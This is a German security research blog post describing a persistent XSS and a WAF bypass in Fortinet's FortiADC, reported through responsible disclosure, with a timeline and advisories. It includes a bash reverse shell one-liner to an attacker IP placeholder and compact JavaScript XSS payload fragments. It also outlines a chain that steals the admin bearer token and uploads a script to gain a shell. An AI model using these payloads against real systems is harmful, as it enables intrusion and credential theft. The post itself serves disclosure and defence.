Leben außerhalb der Webseite: Raumeffizienter persistenter XSS zu RCE in FortiADC

(nur auf Englisch verfügbar)

Blog von Almas Zhurtanov, Senior Security Specialist & Tom Tervoort, Principal Security Specialist

In diesem Artikel erklären unsere Sicherheitsexperten Tom und Almas, wie es ihnen gelungen ist, die client- und serverseitigen Schutzmaßnahmen in FortiADC zu umgehen und einen vermeintlich harmlosen XSS in einen RCE zu verwandeln, indem sie einen extrem eingeschränkten Nutzlastbereich optimal ausnutzten.

Letzten Monat hat Fortinet ein Patch für eine hartnäckige XSS- und WAF-Umgehungsschwachstelle im Fortinet Application Delivery Controller veröffentlicht. Diese Schwachstelle ermöglichte es einem entfernten, nicht authentifizierten Angreifer, einen gespeicherten Cross-Site-Scripting (XSS)-Angriff über HTTP-Felder in Ereignisprotokollansichten durchzuführen.

Obwohl die Entdeckung der XSS-Schwachstelle an sich nicht besonders interessant ist, haben die implementierten Abwehrmaßnahmen die Komplexität der Ausnutzung deutlich erhöht. Das macht dieses XSS zu einer guten Fallstudie über die Umgehung von client- und serverseitigen Schutzmaßnahmen.

Fortinet Logo 1200px

Betroffene Produkte:

  • FortiADC Version 7.0.0 bis 7.0.2
  • FortiADC Version 6.2.0 bis 6.2.3


Fortinet-Hinweise:

Produktübersicht und erste Entdeckung

Nach der Übersicht über die Produkte, die für eine Schwachstellenuntersuchung in Frage kommen, wählte das Team Fortinet Application Delivery Controller (FortiADC) als Untersuchungsobjekt aus. Die Entscheidung basierte auf der Tatsache, dass das Produkt über eine große Anzahl komplexer Komponenten verfügt, was bedeutet, dass auch die Angriffsfläche recht groß ist, und dass eine 30-tägige Testversion auf dem AWS Marketplace verfügbar war. Laut Fortinet:

"FortiADC ist ein fortschrittlicher Application Delivery Controller (ADC), der Anwendungsverfügbarkeit, Anwendungssicherheit und Anwendungsoptimierung gewährleistet.
FortiADC umfasst Anwendungsbeschleunigung, WAF, IPS, SSLi, Link Load Balancing und Benutzerauthentifizierung in einer Lösung, um Verfügbarkeit, Leistung und Sicherheit in einer einzigen, umfassenden Lizenz bereitzustellen."
Fortinet 1

Das Team entschied sich für Fortinet Application Delivery Controller (FortiADC)

Nachdem wir eine Instanz des Produkts bereitgestellt hatten, wurden seine Komponenten analysiert. Eines der ersten Dinge, die identifiziert wurden, war die sogenannte "AWS Scripting"-Funktionalität, die es einem Administrator ermöglicht, bestimmte Verwaltungsaufgaben auszuführen, indem er Python-Skripte hochlädt und sie ausführt:

"FortiADC bietet Benutzern die Möglichkeit, jede AWS API auszuführen - Benutzer können Python-Skripte auf FortiADC hochladen (System > AWS Scripting Seite) mit der Einstellung der Verkehrsgruppe und das Skript auf dem FortiADC ausführen, zu dem seine Verkehrsgruppe gehört."

Mit anderen Worten bedeutet dies, dass Benutzer beliebige Python-Skripte auf dem Anwendungsserver ausführen dürfen. Was kann da schon schief gehen? Diese Funktionalität kann missbraucht werden, indem das folgende Skript hochgeladen und ausgeführt wird, um eine Reverse Shell auf einem von einem Angreifer kontrollierten Rechner zu starten.

import os; os.system("bash -i >& /dev/tcp/<Angreifer-ip>/<Port> 0>&1") 

Es wurde beschlossen, dieses Problem nicht an den Hersteller zu melden, da es Teil der beabsichtigten Funktionalität war, die dem Administrator zur Verfügung steht, und man davon ausging, dass der Hersteller es nicht als Sicherheitslücke betrachten würde. Da sich jedoch herausstellte, dass die SSH-Verwaltungsschnittstelle von FortiADC recht eingeschränkt ist und nur die Möglichkeit bietet, mit bestimmten Komponenten der Anwendung zu interagieren, könnte ein Zugriff auf das Betriebssystem die weitere Analyse der Anwendung erleichtern. Es ist auch erwähnenswert, dass die Anwendung standardmäßig als Root-Benutzer läuft.

Die Ausführung von Remote-Befehlen gilt in der Regel als Kronjuwel bei der Erforschung von Sicherheitslücken. Daher wurde versucht, Wege zu finden, um sie aus der Perspektive nicht-authentifizierter Benutzer auszulösen. Da jedoch keine Authentifizierungs- oder Autorisierungsprobleme festgestellt werden konnten, wurde beschlossen, den Schwerpunkt von Angriffen auf die Verwaltungsoberfläche selbst auf die Identifizierung von Schwachstellen in der Art und Weise zu verlagern, wie FortiADC Anfragen an Ressourcen hinter dem Load Balancer und der Web Application Firewall (WAF) behandelt. Zu diesem Zweck wurde ein einfacher Webserver separat installiert und so konfiguriert, dass er vom integrierten FortiADC Load Balancer verwaltet wird. Die WAF-Komponente wurde auch für die entsprechende Load Balancing-Gruppe aktiviert. Auf dem Webserver hinter dem Load Balancer wurde eine einfache Webanwendung implementiert, die nur die mit den eingehenden Anfragen übermittelten Parameter zurückgab.

Fortinet 2

Von FortiADC Load Balancer verwalteter Webserver

Es stellte sich bald heraus, dass die WAF-Komponente einige der getesteten bösartigen Payloads effektiv blockierte.

Fortinet 3

Die Überprüfung der "Log & Report"-Funktionalität von FortiADC ergab, dass sie alle eingehenden Anfragen und den Datenverkehr sowohl zur Verwaltungsschnittstelle als auch zu den von FortiADC verwalteten Ressourcen sowie einige sicherheitsrelevante Ereignisse aufzeichnet und in eine für Menschen lesbare Tabellenansicht umwandelt.

Fortinet 4

Ein schnelles Fuzzing half, eine XSS-Schwachstelle in den Feldern dieser Tabellen zu identifizieren. Das hervorgehobene Feld im Screenshot unten zeigt, dass es möglich war, ein fettes Text-Tag (<b>) einzufügen

Fortinet 5

Beschränkungen

Wir haben schnell festgestellt, dass die Ausnutzung dieser XSS-Schwachstelle durch die Tatsache erschwert wird, dass Tabelleneinträge nur eine begrenzte Länge haben können und alles nach dem15. Unter normalen Umständen könnte dies umgangen werden, indem zum Beispiel kurze DNS-Namen verwendet werden, um zusätzlichen Code aus der vom Angreifer kontrollierten Ressource zu ziehen. Dies war jedoch aufgrund der restriktiven Content-Security-Policy (CSP), die jegliche Inhalte von Drittanbieterdomänen blockiert, nicht möglich.

Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline' 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'

Eine weitere kleine, aber nützliche Schwachstelle wurde kurz darauf entdeckt. Eine unveränderte Version der JavaScript-Datei der Anwendung war unter https://application-base/ui/js/all.js verfügbar . Die Überprüfung des Codes bestätigte, dass die Daten in den Feldern in der Tat beschnitten wurden, zeigte aber auch, dass die Tabellen auf der DataTables-Bibliothek basieren(http://datatables.net).

Fortinet 7
Fortinet 8

Zusammengenommen standen die folgenden Einschränkungen der Ausnutzung dieser XSS-Schwachstelle im Weg:

  • 15 Zeichen pro Tabelleneintrag.
  • 10 Einträge pro Seite.
  • Jeder Eintrag wird separat ausgewertet, da die Anwendung automatisch schließende Tags hinzufügt.
  • Das bedeutet, dass es nicht möglich ist, ein Tag auf dem ersten Raw zu öffnen, es auf dem letzten Raw zu schließen und die Nutzlast in der Mitte zu platzieren. Jeder Eintrag muss mit einem Tag beginnen.
  • Daraus ergeben sich 150 Zeichen pro Seite für die Nutzlast, was groß genug ist, um eine Lösung zu finden.

Um die Codeausführung zu erreichen, müssen jedoch Tags hinzugefügt werden. Der kleinste Tag sollte mindestens 3 Zeichen lang sein, während der <script>-Tag 8 Zeichen lang ist. Das bedeutet, dass 30-80 Zeichen Platz nur für Tags verwendet werden müssen. Realistischerweise kann nur der <script>-Tag verwendet werden, um XSS aufgrund der Größenbeschränkungen für die Nutzlast etwas Sinnvolles zu tun. Um das klarzustellen: Es gibt natürlich noch viele andere Möglichkeiten, Code auszuführen, aber sie benötigen viel mehr Platz. Somit bleiben nur 70 Zeichen für die Nutzlast übrig. Außerdem ist es wichtig, dass jeder Eintrag eine gültige und vollständige Javascript/HTML-Anweisung ist, da die Tags am Ende des Eintrags automatisch geschlossen werden. Das bedeutet, dass die Längenbeschränkung nicht wirklich 70 Zeichen beträgt, sondern eher 10 separate Anweisungen mit jeweils maximal 7 Zeichen. Die restriktive CSP verbietet das Laden externer Skripte, so dass nur Code ausgeführt werden kann, der bereits auf der Webseite vorhanden ist.

WAF-Umgehung (CVE-2022-38381)

Der einzige Ausweg unter diesen Umständen war, ein anderes größeres Feld zu finden, das für XSS anfällig ist, oder eine Nutzlast zu finden, die klein genug ist, um das gewünschte Ergebnis zu erzielen. Um ein weniger eingeschränktes Feld zu finden, das für XSS anfällig ist, haben wir analysiert, welche benutzergesteuerten Felder ebenfalls anfällig sind. Zeileneinträge konnten erweitert werden, um weitere Details zu dem Eintrag anzuzeigen. Vollständige Datensatzdaten sahen folgendermaßen aus.

Fortinet 9

Die auf dem obigen Screenshot dargestellten Parameter wurden gefuzzt und das führte zu einem unerwarteten Ergebnis. Es stellte sich heraus, dass, wenn die Protokollversion (HTTP/1.1) nicht in der ersten Zeile einer Anfrage enthalten war, der Load Balancer die Anfrage an den Zielhost weiterleitete, während die WAF sie ignorierte. Dies ist in den folgenden Screenshots zu sehen.

Fortinet 10

Wenn die Protokollversion fehlt, wird die Anfrage mit dem Status 200 OK an den Zielhost weitergeleitet, ohne dass die WAF ausgelöst wird.

Fortinet 11
Fortinet 12

Dieses Problem wird in der neueren Version von FortiADC behoben. Das Advisory finden Sie unter https://www.fortiguard.com/psirt/FG-IR-22-234 .

Ausnutzung von Persistent XSS (CVE-2022-38374)

Es stellte sich bald heraus, dass außer den Einträgen in der Protokolltabelle keine weiteren Stellen anfällig waren. Das bedeutete, dass die einzige Möglichkeit, das XSS auszunutzen, darin bestand, sich eine Nutzlast auszudenken, die klein genug und dennoch komplex genug war, um etwas Nützliches zu tun.

Nach einer Menge Brainstorming wurde beschlossen, folgendermaßen vorzugehen:

  • Es wäre möglich, in die Zeichenbeschränkungen eine Deklaration der Funktion einzubauen, die auf die Schaltfläche für die nächste Seite klicken würde. Damit hätten Sie 10 Einträge mehr zur Verfügung und ein bereits definierter Funktionsaufruf würde nur 1 Eintrag belegen, um bei Bedarf zur nächsten Seite zu wechseln.
  • Finden Sie einen weiteren benutzergesteuerten Parameter, der auf der Seite reflektiert wird, um die Nutzlast aufzunehmen. Er muss nicht für XSS anfällig sein.
  • Definieren Sie eine Funktion, die den Payload abruft und ausführt.
  • Um die Auswirkungen zu demonstrieren, sollte die endgültige Nutzlast das Bearer Token des Administrators stehlen und die Anfrage zum Hochladen und Ausführen eines Python-Skripts (z.B. das oben enthaltene Reverse-Shell-Beispiel) senden, wodurch die gewünschte Remote Command Execution erreicht wird.
Fortinet 13

Eine zusätzliche Einschränkung, die in dieser Phase auftrat: DataTables wurden früher im Prozess geladen als die Schaltflächen für die Seitennummerierung der Tabellen. Daher war es notwendig, eine Nutzlast zu verwenden, die erst ausgeführt wird, wenn die Seite vollständig geladen ist. Dies schränkte die Wahlfreiheit erheblich ein, denn der kürzeste Weg, dies zu erreichen, war die Verwendung der Unterstrich-Funktion (_) und führte zusammen mit den Skript-Tags zu einer 30 Zeichen langen Payload.

_.delay(_=>$('.next').click())

Ein anderer Workaround, der es ermöglichte, auf Tags zuzugreifen, ohne 8 Zeichen für den <script>-Tag zu verwenden, war die Verwendung des JQuery-Selektors, der bereits in die Seite geladen war, um auf Elemente auf der Seite über deren Namen zuzugreifen.

$('ext').text()

Die Aufteilung der Verzögerungsfunktion in drei Zeilen mit dem <ext>-Tag und die anschließende Ausführung des obigen Codes würde also effektiv zur nächsten Seite iterieren. Das einzige Problem an dieser Stelle war, die eval-Funktion in die verbleibenden Zeilen einzupassen. Das ist der Grund, warum der Tag <ext> verwendet wurde. Die Idee war, die Nutzlast so platzsparend wie möglich zu gestalten. Beachten Sie, dass die Buchstaben 'ext' sowohl für die Bildung des Wortes "text" als auch für den Zugriff auf den Inhalt des Tags verwendet werden, was die Wiederverwendung einer einzigen Variablen an zwei Stellen ermöglicht.

Das Ergebnis ist der folgende Payload, der schematisch veranschaulicht, wie er in der DataTable aussehen wird.

Fortinet 14

Dies entspricht dem folgenden Code:

x=$('ext').text() e=eval e(e(x))

Und der Inhalt der <ext>-Tags, die die Verzögerungsfunktion zum Anklicken der Schaltfläche 'Weiter' enthalten, wurde oben angegeben.

Die Nutzdaten, die auf den nächsten Protokollseiten platziert werden, verwenden dieselbe Technik, um die DataTables-Struktur in einer Variablen zu speichern und dann auf ihren Inhalt zuzugreifen und sie auszuwerten. Eines der Felder, das zur Übermittlung der zweiten Stufe (Haupt-Payload) verwendet werden kann, ist "HTTP Query", das alle Daten enthält, die in einem GET-Abfrageparameter gesendet werden. Es hat zwar immer noch einige Größenbeschränkungen und kann nicht die gesamte übrige Nutzlast aufnehmen, aber es kann mindestens 400 Zeichen enthalten und angesichts der Tatsache, dass es 10 solcher Einträge auf einer einzigen Seite gibt, ist dies mehr als genug Platz, um das Skript hochzuladen, den RCE auszulösen und eine Reverse Shell zu erhalten. Da diese Nutzlast als GET-Abfrageparameter übertragen wird, muss sie vor der Übertragung base64-kodiert und vor der Ausführung wieder dekodiert werden.

Fortinet

Den vollständigen Exploit-Code finden Sie hier: https://github.com/azhurtanov/CVE-2022-38374

Das Problem wurde in der neuesten Version von FortiADC behoben. Das Advisory finden Sie unter https://www.fortiguard.com/psirt/FG-IR-22-232.


Zeitleiste

  • April 2022 - Schwachstellen identifiziert
  • Juni 2022 - Schwachstellen werden FortiNet im Rahmen einer verantwortungsvollen Offenlegung mitgeteilt
  • Juni 2022 - Sicherheitslücken werden vom Hersteller bestätigt
  • August 2022 - Schwachstellen behoben
  • Oktober 2022 - Veröffentlichung des Hinweises


Wenn Sie Fragen haben und/oder mit den Blog-Autoren in Kontakt treten möchten, kontaktieren Sie uns unter cybersecurity@bureauveritas.com.